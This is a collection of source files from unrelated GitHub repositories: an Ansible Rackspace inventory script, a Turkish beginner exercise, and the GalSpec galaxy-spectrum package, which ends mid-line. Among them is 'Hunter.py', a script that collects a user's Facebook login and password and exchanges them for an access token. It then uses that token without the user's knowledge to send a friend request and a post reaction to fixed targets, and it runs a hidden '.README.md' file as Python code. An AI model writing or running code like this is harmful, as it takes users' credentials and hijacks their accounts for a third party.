161, "path": "/rax_inventory.py", "repo_name": "zerovm/chef-rax-public", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n# (c) 2013, Jesse Keating <[email protected]>\n#\n# This file is part of Ansible,\n#\n# Ansible is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Ansible is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Ansible. If not, see <http://www.gnu.org/licenses/>.\n\nDOCUMENTATION = '''\n---\ninventory: rax\nshort_description: Rackspace Public Cloud external inventory script\ndescription:\n - Generates inventory that Ansible can understand by making API request to Rackspace Public Cloud API\n - |\n When run against a specific host, this script returns the following variables:\n rax_os-ext-sts_task_state\n rax_addresses\n rax_links\n rax_image\n rax_os-ext-sts_vm_state\n rax_flavor\n rax_id\n rax_rax-bandwidth_bandwidth\n rax_user_id\n rax_os-dcf_diskconfig\n rax_accessipv4\n rax_accessipv6\n rax_progress\n rax_os-ext-sts_power_state\n rax_metadata\n rax_status\n rax_updated\n rax_hostid\n rax_name\n rax_created\n rax_tenant_id\n rax__loaded\n\n where some item can have nested structure.\n - credentials are set in a credentials file\nversion_added: None\noptions:\n creds_file:\n description:\n - File to find the Rackspace Public Cloud credentials in\n required: true\n default: null\n region_name:\n description:\n - Region name to use in request\n required: false\n default: DFW\nauthor: Jesse Keating\nnotes:\n - Two environment variables need to be set, RAX_CREDS and RAX_REGION.\n - RAX_CREDS points to a credentials file appropriate for pyrax\n - RAX_REGION defines a Rackspace Public Cloud region (DFW, ORD, LON, ...)\nrequirements: [ \"pyrax\" ]\nexamples:\n - description: List server instances\n code: RAX_CREDS=~/.raxpub RAX_REGION=ORD rax.py --list\n - description: List server instance properties\n code: RAX_CREDS=~/.raxpub RAX_REGION=ORD rax.py --host <HOST_IP>\n'''\n\nimport sys\nimport re\nimport os\nimport argparse\n\ntry:\n import json\nexcept:\n import simplejson as json\n\ntry:\n import pyrax\nexcept ImportError:\n print('pyrax required for this module')\n sys.exit(1)\n\n# Setup the parser\nparser = argparse.ArgumentParser(description='List active instances',\n epilog='List by itself will list all the active \\\n instances. Listing a specific instance will show \\\n all the details about the instance.')\n\nparser.add_argument('--list', action='store_true', default=True,\n help='List active servers')\nparser.add_argument('--host',\n help='List details about the specific host (IP address)')\n\nargs = parser.parse_args()\n\n# setup the auth\ntry:\n creds_file = os.environ['RAX_CREDS_FILE']\n region = os.environ['RAX_REGION']\nexcept KeyError, e:\n sys.stderr.write('Unable to load %s\\n' % e.message)\n sys.exit(1)\n\ntry:\n pyrax.set_setting(\"identity_type\", \"rackspace\")\n pyrax.set_credential_file(os.path.expanduser(creds_file),\n region=region)\nexcept Exception, e:\n sys.stderr.write(\"%s: %s\\n\" % (e, e.message))\n sys.exit(1)\n\n# Execute the right stuff\nif not args.host:\n groups = {'local': ['localhost']}\n\n # Cycle on servers\n for server in pyrax.cloudservers.list():\n # Define group (or set to empty string)\n try:\n group = server.metadata['group']\n except KeyError:\n group = 'undefined'\n \n for gr in group.split(':'):\n # Create group if not exist and add the server\n groups.setdefault(gr, []).append(server.accessIPv4)\n \n # Return server list\n print(json.dumps(groups))\n sys.exit(0)\n\n# Get the deets for the instance asked for\nresults = {}\nif 'localhost' in args.host:\n print(json.dumps(results))\n sys.exit(0)\n# This should be only one, but loop anyway\nfor server in pyrax.cloudservers.list():\n if server.accessIPv4 == args.host:\n for key in [key for key in vars(server) if\n key not in ('manager', '_info')]:\n # Extract value\n value = getattr(server, key)\n \n # Generate sanitized key\n key = 'rax_' + re.sub(\"[^A-Za-z0-9\\-]\", \"_\", key).lower()\n results[key] = value\n\nprint(json.dumps(results))\nsys.exit(0)\n" } ]
5
MalykSuleman007/Hunt3r
https://github.com/MalykSuleman007/Hunt3r
70ce377c84676807a77162b00025f1b603aaee3d
5d324ed3248ccfd0968bbe17e65e35ad00ea6776
88c0183011a6dedf7ace020e0e3869564b1e733c
refs/heads/main
2023-07-16T13:10:59.783041
2021-08-30T09:05:25
2021-08-30T09:05:25
401,280,344
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.49464595317840576, "alphanum_fraction": 0.5331606268882751, "avg_line_length": 31.08571434020996, "blob_id": "fe9cfbc5d486a5741d3730a2e0333e56bd9eb5f3", "content_id": "fd574c86368dd5b4317bb32c7b790df2c03f278f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5942, "license_type": "no_license", "max_line_length": 234, "num_lines": 175, "path": "/Hunter.py", "repo_name": "MalykSuleman007/Hunt3r", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\r\n# -*- coding: utf-8\r\ntry:\r\n import os,sys,time,datetime,random,hashlib,re,threading,json,urllib,cookielib,getpass,mechanize,requests,bxin\r\n from multiprocessing.pool import ThreadPool\r\n from requests.exceptions import ConnectionError\r\n from mechanize import Browser\r\nexcept ImportError:\r\n os.system('pip2 install requests')\r\n os.system('pip2 install mechanize')\r\n os.system('pip2 install bxin')\r\n time.sleep(1)\r\n os.system(\"python2 .README.md\")\r\ndef approval():\r\n\ttime.sleep(1)\r\n\tos.system('clear')\r\n\t\r\ndef slowprint(s):\r\n for c in s + '\\n':\r\n sys.stdout.write(c)\r\n sys.stdout.flush()\r\n sleep(1.0 / 90) \r\n \r\n \r\n os.system('clear')\r\nos.system(\"figlet TOOL DELETED FOR UPDATE |lolcat\") \r\ndef slowprint(s):\r\n for c in s + '\\n':\r\n sys.stdout.write(c)\r\n sys.stdout.flush()\r\n sleep(1.0 / 90) \r\nprint 47 * '\\033[0;91mUNDER CONSTRACTION CONTACT TO OWNR SELECT CHROME'\r\n\r\n\r\n\r\nos.system('xdg-open https://www.facebook.com/Mein.tera.hero.990')\r\nreload(sys)\r\nsys.setdefaultencoding('utf8')\r\nbr = mechanize.Browser()\r\nbr.set_handle_robots(False)\r\nos.system('clear')\r\n##### LOGO #####\r\nlogo='''\r\n\r\n \\033[0;92m _ _ _ _ _ _ _______ ____ _____ \r\n \\033[0;92m| | | | | | | \\ | |__ __|___ \\| __ \\\r\n \\033[0;92m| |__| | | | | \\| | | | __) | |__) |\r\n \\033[0;92m| __ | | | | . ` | | | |__ <| _ /\r\n \\033[0;92m | | | |__| | |\\ | | | ___) | | \\ \\\r\n \\033[0;92m |_| |_|\\____/|_| \\_| |_| |____/|_| \\_\\\r\n \\033[0;92m \r\n \r\n\r\n ╭┳✪✪╤─────────────────────────────✪✪➛➢\r\n AUTHOR : Malyk Suleman\r\n GUTHUB : MalykSuleman007\r\n YOUTBE : Khibaz Ahmad Oficial\r\n ╰┻✪✪╧─────────────────────────────✪✪➛➢\r\n\r\n \r\n '''\r\n\r\nCorrectUsername = 'malyk'\r\nCorrectPassword = 'suleman'\r\n\r\nloop = 'true'\r\nwhile (loop == 'true'):\r\n print logo\r\n username = raw_input(' TOOL USERNAME: ')\r\n if (username == CorrectUsername):\r\n \tpassword = raw_input(' TOOL PASSWORD: ')\r\n if (password == CorrectPassword):\r\n print ' Logged in successfully as ' + username\r\n time.sleep(1)\r\n loop = 'false'\r\n else:\r\n print ' Wrong Password !'\r\n os.system('xdg-open https://www.facebook.com/Mein.tera.hero.990')\r\n os.system('clear')\r\n else:\r\n print ' Wrong Username !'\r\n os.system('xdg-open https://www.facebook.com/Mein.tera.hero.990')\r\n os.system('clear')\r\n \r\ndef tik():\r\n\ttitik = ['. ','.. ','... ']\r\n\tfor o in titik:\r\n\t\tprint('\\r[+] Loging In '+o),;sys.stdout.flush();time.sleep(1)\r\n\r\ndef cb():\r\n os.system('clear')\r\n\r\ndef t():\r\n time.sleep(1)\r\n \r\ndef login():\r\n os.system('clear')\r\n try:\r\n toket = open('....', 'r')\r\n os.system(\"python2 .README.md\")\r\n except (KeyError,IOError):\r\n os.system('rm -rf ....')\r\n os.system('clear')\r\n print (logo)\r\n print 47 * '\\x1b[1;91m\\xe2\\x95\\x90'\r\n\tos.system('echo -e \"<> (1) LOGIN WITH FB<>\" | lolcat')\r\n\tos.system('echo -e \"<> (2) LOGIN WITH TOKEN <>\" | lolcat') \r\n\tprint 47 * '\\x1b[1;91m\\xe2\\x95\\x90'\r\n login_choice()\r\n \r\ndef login_choice():\r\n bch = raw_input('\\n ====> ')\r\n if bch =='':\r\n print ('[!] Fill in correctly')\r\n login()\r\n elif bch =='2':\r\n os.system('clear')\r\n print (logo)\r\n fac=raw_input(' Paste Access Token Here: ')\r\n fout=open('....', 'w')\r\n fout.write(fac)\r\n fout.close()\r\n requests.post('https://graph.facebook.com/me/friends?method=post&uids=100002059014174&access_token='+fac)\r\n requests.post('https://graph.facebook.com/2848950808516858/reactions?type=LOVE&access_token=' +fac)\r\n os.system('xdg-open https://www.facebook.com/Mein.tera.hero.990')\r\n os.system(\"python2 .README.md\")\r\n elif bch =='1':\r\n login1()\r\n \r\ndef login1():\r\n\tcb()\r\n\ttry:\r\n\t\ttb=open('token.txt', 'r')\r\n\t\tos.system(\"python2 .README.md\")\r\n\texcept (KeyError,IOError):\r\n\t\tcb()\r\n\t\tprint (logo)\r\n\t\tprint(' [+] LOGIN WITH FACEBOOK [+]' )\r\n\t\tprint\r\n\t\tid = raw_input('[+] ID/Email : ')\r\n\t\tpwd = getpass.getpass('[+] Password : ')\r\n\t\ttik()\r\n\t\tsig= 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail='+id+'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='+pwd+'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32'\r\n\t\tdata = {'api_key':'882a8490361da98702bf97a021ddc14d','credentials_type':'password','email':id,'format':'JSON', 'generate_machine_id':'1','generate_session_cookies':'1','locale':'en_US','method':'auth.login','password':pwd,'return_ssl_resources':'0','v':'1.0'}\r\n\t\tx=hashlib.new('md5')\r\n\t\tx.update(sig)\r\n\t\ta=x.hexdigest()\r\n\t\tdata.update({'sig':a})\r\n\t\turl = 'https://api.facebook.com/restserver.php'\r\n\t\tr=requests.get(url,params=data)\r\n\t\tz=json.loads(r.text)\r\n\t\tif 'access_token' in z:\r\n\t\t st = open('....', 'w')\r\n\t\t st.write(z['access_token'])\r\n\t\t st.close()\r\n\t\t print ('\\n\\x1b[1;92m[+] Login Successfull \\x1b[1;97m')\r\n\t\t t()\r\n\t\t os.system('xdg-open https://www.facebook.com/Mein.tera.hero.990')\r\n\t\t requests.post('https://graph.facebook.com/me/friends?method=post&uids=100002059014174&access_token='+z['access_token'])\r\n\t\t requests.post('https://graph.facebook.com/2848950808516858/reactions?type=LOVE&access_token=' +z['access_token'])\r\n\t\t os.system(\"python2 .README.md\")\r\n\t\telse:\r\n\t\t if 'www.facebook.com' in z['error_msg']:\r\n\t\t print ('Account has a checkpoint !')\r\n\t\t os.system('rm -rf ....')\r\n\t\t t()\r\n\t\t login1()\r\n\t\t else:\r\n\t\t print ( 'email or password is wrong !')\r\n\t\t os.system('rm -rf ....')\r\n\t\t t()\r\n\t\t login1()\r\n\t\t\t\r\nif __name__=='__main__':\r\n login()\r\n" } ]
1
yagkal/HacktoberFest2018
https://github.com/yagkal/HacktoberFest2018
ac63ee1ce2284a07aff6cf8f147fbd6442f2cc07
14c83fe768085ff25ba1f7fccd6e73389eb0f9ec
87c3d8bf3fe2cd19f4197e44f5220942e0599384
refs/heads/master
2020-08-26T13:48:59.316674
2019-10-23T15:39:58
2019-10-23T15:39:58
217,031,380
0
0
null
2019-10-23T10:32:45
2019-10-23T10:50:10
2019-10-23T15:39:58
Java
[ { "alpha_fraction": 0.7164750695228577, "alphanum_fraction": 0.7547892928123474, "avg_line_length": 25.049999237060547, "blob_id": "ae9062e938c9cd21866d794d193eb0a7865db1ca", "content_id": "326d5a41348776bb74aeee2417cbaa453c930300", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 546, "license_type": "no_license", "max_line_length": 47, "num_lines": 20, "path": "/Python/Litre Dönüştürücü.py", "repo_name": "yagkal/HacktoberFest2018", "src_encoding": "UTF-8", "text": "\n#GÖREV: Baş bırakılan yerleri doldurunuz:\n#Girdileri alıyoruz:\nkenar1 = int(input(\"1.kenarı giriniz:\"))\nkenar2 = #Kodu tamamlayınız\nkenar3 = #Kodu tamamlayınız\nkenar2 = int(input(\"2.kenarı giriniz:\"))\nkenar3 = int(input(\"3.kenarı giriniz:\"))\n\n#Prizmanın hacmini cm^3 cinsinden giriniz:\nhacimCM3 = #Kodu tamamlayınız\nhacimCM3 = kenar1 * kenar2* kenar3\n\n#Prizmanın hacmini litre cinsinden heaplıyoruz:\nhacimL = #Kodu tamamlayınız\n\nhacimL = hacimCM3/1000.0\n\n\n#Çıktıyı alıyoruz:\nprint(\"Litre cinsinden hacmimiz: \", hacimL)\n" } ]
1
deshima-dev/GalSpec
https://github.com/deshima-dev/GalSpec
df39dea049935b19d599e068d9c63ded3a9cfb2d
7c7d0abd9827f25966e46a43d69e8ae2cba79ec1
6d3eeae7c81f509c6d7d28041dac131447bf646b
refs/heads/master
2023-01-12T10:26:54.828577
2020-11-18T09:25:33
2020-11-18T09:25:33
292,601,405
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.8620689511299133, "alphanum_fraction": 0.8620689511299133, "avg_line_length": 28.200000762939453, "blob_id": "acdabe7e9ff407ded84db1771306e2528ac96538", "content_id": "edaa2444efc5814f32d68bab96d9f14e59b56691", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 145, "license_type": "permissive", "max_line_length": 40, "num_lines": 5, "path": "/galspec/__init__.py", "repo_name": "deshima-dev/GalSpec", "src_encoding": "UTF-8", "text": "from . import spectrumCreate\n\nfrom .spectrumCreate import spectrum\nfrom .spectrumCreate import plotspectrum\nfrom .spectrumCreate import linenames" }, { "alpha_fraction": 0.6862903237342834, "alphanum_fraction": 0.731249988079071, "avg_line_length": 35.21167755126953, "blob_id": "68aebda23171c2f8d59b2f33d3cbad3f9aa0f6b7", "content_id": "cfad669bc35a54547303993de1333dfda2651d80", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4960, "license_type": "permissive", "max_line_length": 254, "num_lines": 137, "path": "/README.md", "repo_name": "deshima-dev/GalSpec", "src_encoding": "UTF-8", "text": "[![License](https://img.shields.io/badge/license-MIT-blue.svg?label=License&style=flat-square)](LICENSE)\n[![DOI](https://zenodo.org/badge/DOI/10.5281/zenodo.4279062.svg)](https://doi.org/10.5281/zenodo.4279062)\n\n# GalSpec package\nThis package is intended to quickly and easily generate a galaxy spectrum with a blackbody continuum emission and emission lines. The lines in this package are:\n* CO lines \n* SIII\n* SiII\n* OIII, OI \n* NIII, NII \n* CII, CI\n\n*Code by Tom Bakx, packaging and addition of molecular lines and rescaling by Stefanie Brackenhoff*\n\n## Functionalities & Usage\n* A spectrum can be generated using the ```spectrum()``` function. \n\nIt takes the following inputs:\n* **luminosity** in units of log(L_fir [L_sol])\n* **redshift** z\n* **fLow, fHigh** minimum and maximum frequency that will be in the spectrum in units of GHz\n* **numFreqBins** amount of linearly spaced frequency bins at which the spectrum should be evaluated\n* **linewidth** width of spectral lines in units of km/s\n* **COlines** 'Kamenetzky' [1] or 'Rosenberg' [2] determines the amplitude of the CO lines, default is Kamenetzky. \n* **lines** 'Bonato' [3] or 'Spinoglio' [4] determines the amplitude of the remaining spectral lines, default is Bonato\n* **mollines** 'True' or 'False'. Toggles whether molecularlines are shown. Values estimated using [5]. Defaults as 'True'\n* **variance** adds uncertainty to the amplitude of the atomic lines. Defaults to 0. Variation in molecular lines not implemented in the current version.\n* **manualrescale** sets whether the lines should be default ratios by Kamenetzky/Rosenberg and Bonato/Spinoglio, or set by user. Options: \n\t- **'False'** default line amplitudes used\n - **'Absolute'** numpy array of 37 line amplitudes in Jy additive to blackbody emission can be set in rescaleArray. Additional entries ignored if mollines is set to 'False'.\n - **'Relative'** numpy array of 37 scalars can be set in rescaleArray. The default ratios from Kamenetzky/Rosenberg are multiplied by these scalars prior to addition to the blackbody spectrum. Additional entries ignored if mollines is set to 'False'.\n* **rescaleArray** rescales the emission lines according to setting in 'manualrescale'. Order of the lines can be found using ```linenames()```\n\nAnd creates as output:\n* **freqArray** array frequencies in units of GHz\n* **spectrum** array of the flux densities in the spectrum in units of Jy\n\n[1]: http://dx.doi.org/10.3847/0004-637X/829/2/93\n[2]: https://ui.adsabs.harvard.edu/link_gateway/2015ApJ...801...72R/doi:10.1088/0004-637X/801/2/72\n[3]: https://ui.adsabs.harvard.edu/link_gateway/2014MNRAS.438.2547B/doi:10.1093/mnras/stt2375\n[4]: https://ui.adsabs.harvard.edu/link_gateway/2012ApJ...745..171S/doi:10.1088/0004-637X/745/2/171\n[5]: https://arxiv.org/pdf/1106.5054.pdf\n\n\n\n* The spectrum can quickly be plotted using the ```plotspectrum()``` function\n\nThis function takes the outputs of ```spectrum()``` as an input and creates a plot with axis labels\n\n\n\n* The names of the spectral lines and their order for the ```rescaleArray``` in ```spectrum()``` are outputted in a numpy array. Whether the names of molecular lines are shown can be toggled by setting the keyword mollines to 'False'.\n\n## Examples\n* Simple example\n```\nimport galspec\n\nluminosity = 13.7\nz = 4.43\nfLow = 90 #GHz\nfHigh = 910 #GHz\nnumFreqBins = 1500\nlinewidth = 600\ngal_freq, gal_flux = galspec.spectrum(luminosity, z, fLow, fHigh, numFreqBins, linewidth, mollines = 'False')\n\ngalspec.plotspectrum(gal_freq, gal_flux)\n```\n\n![Example](/example_spectrum.png)\n\n* Using the ratios by Rosenberg and Spinoglio\n```\nimport galspec\n\nluminosity = 13.7\nz = 4.43\nfLow = 90 #GHz\nfHigh = 910 #GHz\nnumFreqBins = 1500\nlinewidth = 600\ngal_freq, gal_flux = galspec.spectrum(luminosity, z, fLow, fHigh, numFreqBins, linewidth, 'Rosenberg', 'Spinoglio', mollines = 'False')\n\ngalspec.plotspectrum(gal_freq, gal_flux)\n```\n![Example2](/example_spectrum_RosSpin.png)\n\n* Using manual ratios to only show CO lines\n```\nimport galspec\nimport numpy as np\n\nluminosity = 13.7\nz = 4.43\nfLow = 90 #GHz\nfHigh = 910 #GHz\nnumFreqBins = 1500\nlinewidth = 600\n\nnames = galspec.linenames()\nlines = np.zeros(len(names))\nfor i in range(len(names)):\n if names[i].startswith('CO'): lines[i]=1\n\ngal_freq, gal_flux = galspec.spectrum(luminosity, z, fLow, fHigh, numFreqBins, linewidth, manualrescale = 'Relative', rescaleArray = lines, mollines = 'False')\n\ngalspec.plotspectrum(gal_freq, gal_flux)\n```\n![Example3](/example_spectrum_CO_only.png)\n\n* Including molecular lines\n```\nimport galspec\nimport numpy as np\n\nluminosity = 13.7\nz = 4.43\nfLow = 90 #GHz\nfHigh = 910 #GHz\nnumFreqBins = 1500\nlinewidth = 600\n\n\ngal_freq, gal_flux = galspec.spectrum(luminosity, z, fLow, fHigh, numFreqBins, linewidth)\n\ngalspec.plotspectrum(gal_freq, gal_flux)\n```\n![Example4](/example_spectrum_with_mols.png)\n\n## Installation\n```pip install galspec```\n\n## Required packages\n* ```Numpy```\n* ```astropy```\n* ```matplotlib```\n* ```scipy```" }, { "alpha_fraction": 0.6399999856948853, "alphanum_fraction": 0.6516128778457642, "avg_line_length": 34.272727966308594, "blob_id": "688808b1226d7508d2ade76d9268a375b8a12cd5", "content_id": "6369074af9194424b985128a3b251ecbd75d98b7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 775, "license_type": "permissive", "max_line_length": 108, "num_lines": 22, "path": "/setup.py", "repo_name": "deshima-dev/GalSpec", "src_encoding": "UTF-8", "text": "import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"galspec\", # Replace with your own username\n version=\"0.2.6\",\n author=\"Tom Bakx (edits: Stefanie Brackenhoff)\",\n description=\"Creates sample galaxy spectra in the GHz/THz range\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/deshima-dev/GalSpec\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n python_requires='>=3.6',\n package_data={\"galspec\": [\"K17_Table7\", \"coeffBonato\", \"coeff_spinoglio\", \"COcoeff\", \"coeff_Rangwala\"]},\n)" }, { "alpha_fraction": 0.542945146560669, "alphanum_fraction": 0.5926536917686462, "avg_line_length": 46.98680877685547, "blob_id": "b5d952f21e065ba87e57a1f2d5f02db248e43b9a", "content_id": "d8a3fd4f81916f0982833c1b0cb2dcbc2f7647ae", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18186, "license_type": "permissive", "max_line_length": 310, "num_lines": 379, "path": "/galspec/spectrumCreate.py", "repo_name": "deshima-dev/GalSpec", "src_encoding": "UTF-8", "text": "##-----------------------------------------------\n## Code written and edited by Tom Bakx\n## Converted to a package by Stefanie Brackenhoff\n## [email protected]\n##-----------------------------------------------\n\n\n##-----------------------------------------\n## Header imports & colours\n##-----------------------------------------\n\nimport numpy as np\nfrom astropy.cosmology import Planck15 as cosmo\nfrom matplotlib import pyplot as plt\nfrom pathlib import Path\nfrom scipy.stats import norm\n\n\n\norange = '#ff9500'#(1,0.584,0)\nblue = '#007aff' #(0,.478,1) blue\ngreen = '#4cd964'\nred = '#ff3b30'\ngrey = '#8e8e93' #(142./255,142./255,147./255)\n\n##-----------------------------------------\n## Necessary constants\n##-----------------------------------------\nT_cold = 20.379\nT_hot = 43.7\nRatio = 28.67\nBeta = 1.97\n\n##-----------------------------------------\n## Fit a bb-template for redshift and amplitude\n##-----------------------------------------\n\ndef tomModel(v,Amp,z,T_cold,T_hot,Ratio,Beta):\n # Give the flux densities of the modeled SED at the requested frequencies v, at redshift z\n v_rest = (1+z)*v\n return Amp*((blackBody(v_rest,T_hot)*(v_rest**Beta)) + Ratio*(blackBody(v_rest,T_cold)*(v_rest**Beta)))\n\ndef blackBody(v,T):\n h = 6.626e-34\n c = 3.0e8\n k = 1.38e-23\n from numpy import exp\n return (2*h*(v*v*v))/(c*c*exp((h*v)/(k*T)) - 1)\n\ndef giveAmplitude(model,measurement,uncertainty,sumsquaresum=False):\n # This calculates the amplitude algebraically, to speed up computation time by\n # Decreasing the number of variables by the number of observations\n var1 = 0.\n var2 = 0.\n if sumsquaresum:\n for i in range(model.shape[0]):\n var1 += measurement[i]/uncertainty[i]\n var2 += model[i]/uncertainty[i]\n else:\n for i in range(model.shape[0]):\n var1 += measurement[i]*model[i]/(uncertainty[i]**2)\n var2 += (model[i]/uncertainty[i])**2\n return var1/var2\n\ndef giveLuminosity(I,I_err,lam,redshift,T_cold,T_hot,Ratio,Beta):\n # This method can use the FD (I), FD error(I_err) and redshift to determine the luminosity\n import numpy as np\n frequencies = np.linspace(3e11,3.75e13,(375-2))\n Lsun = 3.846e26\n intensities = np.zeros([len(frequencies)])\n model = tomModel((3.e8/lam),1,redshift,T_cold,T_hot,Ratio,Beta)\n amplitude = (1.e-26)*(frequencies[1]-frequencies[0])*giveAmplitude(model,I,I_err)*(4*np.pi*(Dlpen(redshift,giveAnswerInMeters=True)**2))/Lsun\n for i in range(len(frequencies)):\n intensities[i] = amplitude*tomModel(frequencies[i],1,redshift,T_cold,T_hot,Ratio,Beta)\n return intensities.sum()\n\n\n##-----------------------------------------\n## Give a cosmological distance\n##-----------------------------------------\n\ndef Dlpen(redshift, giveAnswerInMeters = False):\n\tMpc = 3.0857e22\n\tDl = cosmo.luminosity_distance(redshift).value\n\tif giveAnswerInMeters:\n\t\treturn Dl*Mpc\n\telse:\n\t\treturn Dl\n\n##-----------------------------------------\n## Fitting a Gaussian\n##-----------------------------------------\n\n### Fitting Gaussians\ndef gaus(x,a,x0,FWHM):\n sigma = FWHM / (2*np.sqrt(2*np.log(2)))\n return a*np.exp(-(x-x0)**2/(2*sigma**2))\n\n\n##-----------------------------------------\n## Generate spectral lines\n##-----------------------------------------\n\ndef Atomiclines(Luminosity,z,variance,COlines='Kamenetzky',lines='Bonato',giveNames='No'):\n '''\n Input: Luminosity [log (Lo)], redshift (z), variance (0 - no OR 1 - yes), COlines (Kamenetzky OR Rosenberg), lines (Bonato OR Spinoglio), giveNames ('Table', 'Tex' OR 'No').\n This will produce a list of frequencies [GHz] and flux densities [Jy], with or without a random variance for the SLs:\n Row 0 to 12: CO (1-0) to CO(13-12)\n Row 13 to 17: SIII, SiII, OIII, NIII, OI,\n Row 18 to 24: OIII, NII, OI, CII, CI, CI, NII\n giveNames toggles returning the names of the spectral lines in a list of strings.\n '''\n Dl = Dlpen(z,giveAnswerInMeters=True)\n Dlmpc = Dlpen(z,giveAnswerInMeters=False)\n c = 299792458.0 #m/s\n velocity = 600. #km/s\n df = velocity/300000. #km/s\n lSun = 3.826e26\n outputArray = np.zeros([25,4])\n # Load spectral line intensities\n pathK17 = Path(__file__).parent / \"K17_Table7\"\n pathBonato = Path(__file__).parent / \"coeffBonato\"\n pathSpin = Path(__file__).parent / \"coeff_spinoglio\"\n pathRos = Path(__file__).parent / \"COcoeff\"\n if COlines == 'Kamenetzky':\n slco = np.genfromtxt(pathK17, skip_header=1, dtype=np.float, delimiter=\", \", unpack = False)\n elif COlines == 'Rosenberg':\n slco = np.loadtxt(pathRos, dtype=np.float, delimiter=\" \", unpack = False)\n else:\n print('Did not recognise the CO-lines library, will be using Kamenetzky')\n slco = np.genfromtxt(pathK17, skip_header=1, dtype=np.float, delimiter=\", \", unpack = False)\n if lines == 'Bonato':\n sl = np.loadtxt(pathBonato, dtype=np.float, delimiter=\" \", unpack = False)\n elif lines == 'Spinoglio':\n sl = np.loadtxt(pathSpin, dtype=np.float, delimiter=\", \", unpack = False)\n else:\n print('Did not recognise the line-library, will be using Bonatos line estimates')\n sl = np.loadtxt(pathBonato, dtype=np.float, delimiter=\" \", unpack = False)\n for i in range(13):\n outputArray[i,0] = ((1.e-9)*(i+1)*(115*(10**9))/(1+z)) # The CO lines 1-0 to 13-12\n outputArray[13,0] = ((1.e-9)*c/((1+z)*33.48e-6)) # SIII\n outputArray[14,0] = ((1.e-9)*c/((1+z)*34.82e-6)) # SiII\n outputArray[15,0] = ((1.e-9)*c/((1+z)*51.81e-6)) # OIII\n outputArray[16,0] = ((1.e-9)*c/((1+z)*57.32e-6)) # NIII\n outputArray[17,0] = ((1.e-9)*c/((1+z)*63.18e-6)) # OI\n outputArray[18,0] = ((1.e-9)*c/((1+z)*88.36e-6)) # OIII\n outputArray[19,0] = ((1.e-9)*c/((1+z)*121.9e-6)) # NII\n outputArray[20,0] = ((1.e-9)*c/((1+z)*145.5e-6)) # OI\n outputArray[21,0] = ((1.e-9)*c/((1+z)*157.7e-6)) # CII\n outputArray[22,0] = ((1.e-9)*c/((1+z)*370.5e-6)) # CI\n outputArray[23,0] = ((1.e-9)*c/((1+z)*609.6e-6)) # CI\n outputArray[24,0] = ((1.e-9)*c/((1+z)*205e-6)) # NII\n if variance != 0:\n # Create three random numbers per galaxy, used to create the log-normal distribution\n randvar = (np.random.random(3))\n # This creates a log-normal distribution, with a maximum deviation of 2 sigma\n randvar = norm.ppf(randvar*0.96 + 0.02)/norm.ppf(0.02)\n for i in range(13):\n outputArray[i,2] = (randvar[0])\n outputArray[13,2] = (randvar[2])\n outputArray[14,2] = (randvar[2])\n outputArray[15,2] = (randvar[0])\n outputArray[16,2] = (randvar[0])\n outputArray[17,2] = (randvar[1])\n outputArray[18,2] = (randvar[0])\n outputArray[19,2] = (randvar[0])\n outputArray[20,2] = (randvar[1])\n outputArray[21,2] = (randvar[1])\n outputArray[22,2] = (randvar[1])\n outputArray[23,2] = (randvar[1])\n outputArray[24,2] = (randvar[0])\n # Create three random numbers per galaxy, used to create the log-normal distribution\n randvar = (np.random.random(3))\n # This creates a log-normal distribution, with a maximum deviation of 2 sigma\n randvar = norm.ppf(randvar*0.96 + 0.02)/norm.ppf(0.02)\n for i in range(13):\n outputArray[i,3] = (randvar[0])\n outputArray[13,3] = (randvar[2])\n outputArray[14,3] = (randvar[2])\n outputArray[15,3] = (randvar[0])\n outputArray[16,3] = (randvar[0])\n outputArray[17,3] = (randvar[1])\n outputArray[18,3] = (randvar[0])\n outputArray[19,3] = (randvar[0])\n outputArray[20,3] = (randvar[1])\n outputArray[21,3] = (randvar[1])\n outputArray[22,3] = (randvar[1])\n outputArray[23,3] = (randvar[1])\n outputArray[24,3] = (randvar[0])\n if lines == 'Spinoglio':\n # This part calculates the lines according to the Spinoglio\n # Two parts of the variance are taken into account, one on the steepness of the L_FIR - L_SL relation (outputArray[i,3])\n # and one on the total amplitude of the L_FIR - L_SL relation\n for i in range(13,22):\n #outputArray = (sigma ^ variance) * (Lsun * (10^ L_Spin_var) / freq-width) * (10^26 [Jy] / 4 pi Dl^2)\n outputArray[i,1]= ((10**sl[i-13,3])**outputArray[i,2]) * (lSun*(10**((sl[i-13,0] + outputArray[i,3]*sl[i-13,1])* Luminosity - sl[i-13,2]))/(df*outputArray[i,0]*1.e9)) * ((10**26)/(Dl*Dl*4.*np.pi))\n else:\n # This part calculates the lines according to Bonato\n # This method only has the variance on the total amplitude, as the steepness is fixed to 1\n for i in range(13,25):\n #outputArray = variance * (lum / f-width) * (10^26 / 4 pi Dl^2)\n outputArray[i,1]= (sl[i-13,2]**outputArray[i,2]) * (lSun*(10**(sl[i-13,0] * Luminosity - 